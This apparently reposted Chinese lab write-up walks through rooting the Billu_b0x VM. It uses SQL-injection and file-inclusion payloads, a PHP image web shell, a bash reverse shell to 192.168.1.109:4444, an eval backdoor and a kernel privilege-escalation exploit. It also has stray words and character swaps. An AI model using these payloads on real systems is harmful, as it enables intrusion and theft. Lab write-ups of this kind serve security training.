虚拟机难度中等,使用ubuntu(32位),其余软件包有:php
PHPmysql
apacheweb
MySQLsql
Boot to root:从Web应用程序进入虚拟机,并得到root权限。shell
靶机:使用VMWare打开虚机,网络链接方式设置为net,靶机自动获取IP。数据库
攻击机:同网段下有Windows攻击机,安装有Nmap、Burpsuit、Sqlmap、nc、Python2.七、DirBuster、AWVS、Nessus等渗透工具,kali攻击机,主要用Windows攻击机完成实验。apache
ip发现ubuntu
启动Billu_b0x虚拟机,因为虚机网络设置为net模式,使用Nmap扫描VMware Network Adapter VMnet8网卡的NAT网段C段IP,便可找到虚机IP,命令:windows
nmap -sP 192.168.1.1/24
后端
得到靶机ip 192.168.1.112
端口和服务识别
使用nmap扫描1-65535全端口,并作服务识别和深度扫描(加-A参数),命令:
nmap -p 1-65535 -A 192.168.1.112
发现目标主机端口和服务以下:
端口 协议 后端服务
TCP 22 SSH OpenSSH 5.9p1
TCP 80 HTTP Apache httpd 2.2.22
进入web首页:发现用户名口令输入框,并提示“Show me your SQLI skills”。
漏洞挖掘思路:
(1) SQL注入:首页提示注入,想办法注入成功。
(2) 暴破目录:用DirBuster暴破,看是否有新网页,找新漏洞;
(3) 漏洞扫描:暴破的新网页,送进AWVS或APPScan扫漏洞;
(4) 手动挖掘:暴破的新页面,经过Firefox挂burp代理,在burp中观察Request和Response包,手动找漏洞;
(5) 查看每一个网页的源码,看是否有提示;。
(6) 如获得用户名,密码,尝试登陆ssh,如能链接上,无需反弹shell了。
步骤1:测试首页SQL注入
(1) 在用户名输入框输入admin' or 'a'='a --
密码随意,发现没法注入,出现js弹框Try again:
(2) 使用sqlmap进行post注入测试,命令:
sqlmap.py -u “http://192.168.1.112” --data "un=admin&ps=admin&login=let%27s+login" --level 3 --dbms mysql
sqlmap注入检测完成,结果没法注入,目前不知道系统对注入的过滤规则是什么,使用几个sqlmap的tamper测试也未成功。暂时先不fuzz注入,看看暴破目录。
步骤2:windows使用御剑,DirBuster暴破目录,同时使用kali Linux的dirb暴破,为获得更多的暴破结果,并减小暴破时间:
获得页面较多,test.php、add.php、in.php、c.php、index.php、show.php等,目录有:uploaded_images,phpmy,images依次访问:
步骤3:利用文件包含漏洞获取php源码、passwd文件
(1) 访问test.php:页面提示file参数为空,须要提供file参数
测试文件包含:http://192.168.1.112?file=/etc/passwd
发现没法包含,页面没有反应。
(2) 在Firefox的Hackbar或者Brupsuit中,将get请求,变动为post请求,文件包含成功,得到passwd文件。
(3) 查看passwd文件,发现1个id 1000的帐号ica,ssh链接的用户名能够是ica或root:
(4) 经过一样文件包含的方法,下载add.php、in.php、c.php、index.php、show.php、panel.php等文件,后面能够访问文件的同时,审计文件的源代码。
add.php
add.php是一个上传界面,可是功能没法使用,查看源码文件发现只是个页面,没有后台处理代码。in.php是php info信息。
步骤5:查看c.php源码
这是数据库链接文件,发现mysql链接用户名密码:
用户名:billu
密码:b0x_billu
数据库名:ica_lab
c.php
步骤6:经过获得的mysql密码登陆phpmyadmin
获得WEB登录的用户名
步骤7:继续暴破phpmy目录,文件包含phpmyadmin配置文件
(1) phpmyadmin的默认的配置文件是:config.inc.php。须要猜想路径,经过URL猜想路径默认在/var/www/phpmy下面。
(2) 在火狐浏览器的Hackbar或者Burpsuit中,经过文件包含,读取config.inc.php文件,Hackbar的获取方法:
步骤8:使用xshell ssh登陆root帐号,完成实验
步骤9:登陆index首页,并得到cmd shell和反弹shell
(1) 使用web密码登陆首页,大小写必须同样。
登陆后是帐号管理界面,帐号是加勒比海盗的两位主角船长:杰克·斯帕罗和巴博萨船长。多写一句,本人更喜欢巴博萨船长,一个像敌人同样的海盗朋友,幽默、勇敢、阴险狡诈、霸道野心、老谋深算。
两个帐号的头像图片地址,在以前暴破出来:http://192.168.1.112/uploaded_images/
(2) 点击add user进入添加帐号界面,这是一个图片上传,思路是利用图片上传和文件包含得到shell。
查看以前test文件包含得到的panel.php源码,发现panel.php存在本地文件包含漏洞:
下载一张http://192.168.1.112/uploaded_images/
中的图片jack.php,文本编辑器打开,在文件中间或末尾加入一句话cmd命令马
<?php system($_GET['cmd']); ?>
将文件 joker.php 上传成功
(3) 使用burp执行命令: post请求url中加入执行命令的参数:POST
/ panel.php?cmd=cat%20/etc/passwd;ls
post的body中包含cmd.jpg图片马:load=/uploaded_images/cmd.jpg&continue=continue
成功执行命令cat /etc/passwd;ls
或者在hackbar里面:
(4) 用bash反弹shell
命令:echo "bash -i >& /dev/tcp/192.168.1.109/4444 0>&1" | bash
须要将命令url编码:
在post的url中发送命令:
nc接收反弹shell成功:
步骤12:找一个可写权限目录,写入菜刀马
文件上传目录uploaded_images为写权限目录,进入该目录,写一个菜刀马:
echo '<?php eval($_POST['joker']);?>' >> 1.php
查看一下,发现上传成功
直接菜刀连接便可
步骤13:查看内核、系统版本,寻找提权exp
(1) 查看系统内核版本,命令uanme -a
和cat /etc/issue
(2) 下载Ubuntu著名的本地提权漏洞exp:
https://www.exploit-db.com/exploits/37292/
步骤14:编译、提权
(1) 赋予执行权限
chmod 777 37292.c
(2) 编译exp,因为权限限制,咱们在kali本机上gcc编译下载好的exp脚本
gcc 37292.c -o exp
执行完代码,会生成一个exp,直接运行
(3) 执行exp,提权至root
提权以前:
提权以后:
咱们如今已是管理员权限了,完美收官
-------------------------------------------------------------------------------------------------
正常的思路有3条路线能够突破:
思路1
构造注入:从test的文件包含得到index.php源码,源码中可查看到过滤sql的方法,针对性构造sql注入,登陆后获取shell再提权。
(1) 审计index.php源码,发现如下过滤规则:
$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
str_replace的做用是将字符串\' 替换为空,所以构造SQL注入登陆payload时,必须含有\'字符串,不然会报错。urldecode的做用是将输入解码。
(2) 常见的利用注入登陆的payload是' or 1=1 -- 修改这个在最后增长\',str_replace会将这个\'替换为空。
使用php在线调试工具,测试以下:
(3) 注入成功,payload是' or 1=1 -- \'
后面获取shell方法和上面实验相同。
思路2:暴破出phpmyadmin,文件包含从c.php得到mysql密码,登陆phpmyadmin,再获取shell。
思路3:文件包含全部有权限查看的配置文件,从phpmyadmin配置文件得到root密码,而后ssh登陆。该过程尽管mysql故障,也能够完成。
踩到的坑
(1) mysql被高线程目录暴破和注入宕机:致使phpmyadmin有正确密码但没法登陆,耗费较长时间。这是意外故障。由于以前的2个工具同时目录暴破、sqlmap注入等线程太高,致使mysql死了。
(2) test.php文件包含漏洞利用,get不行,改成post试试。包含成功后,要把各个页面的源代码拿下来审计。
(3) index.php的SQL注入花费很多时间,后来发现,即便不用sql注入,也有其余道路能够完成,经过phpmyadmin登陆,绕过了注入。
(4) panel.php的文件包含漏洞,若是不认真关注源码,难以发现。使用test.php的文件包含,没能触发shell利用。
(5) 文件上传+文件包含拿shell是靶机经常使用的方式,遇到两个漏洞,能够熟练拿shell。
(6) 提权方法能够多关注主要的配置文件、数据库链接文件、用户的文件;也能够利用Ubuntu已知漏洞本地提权。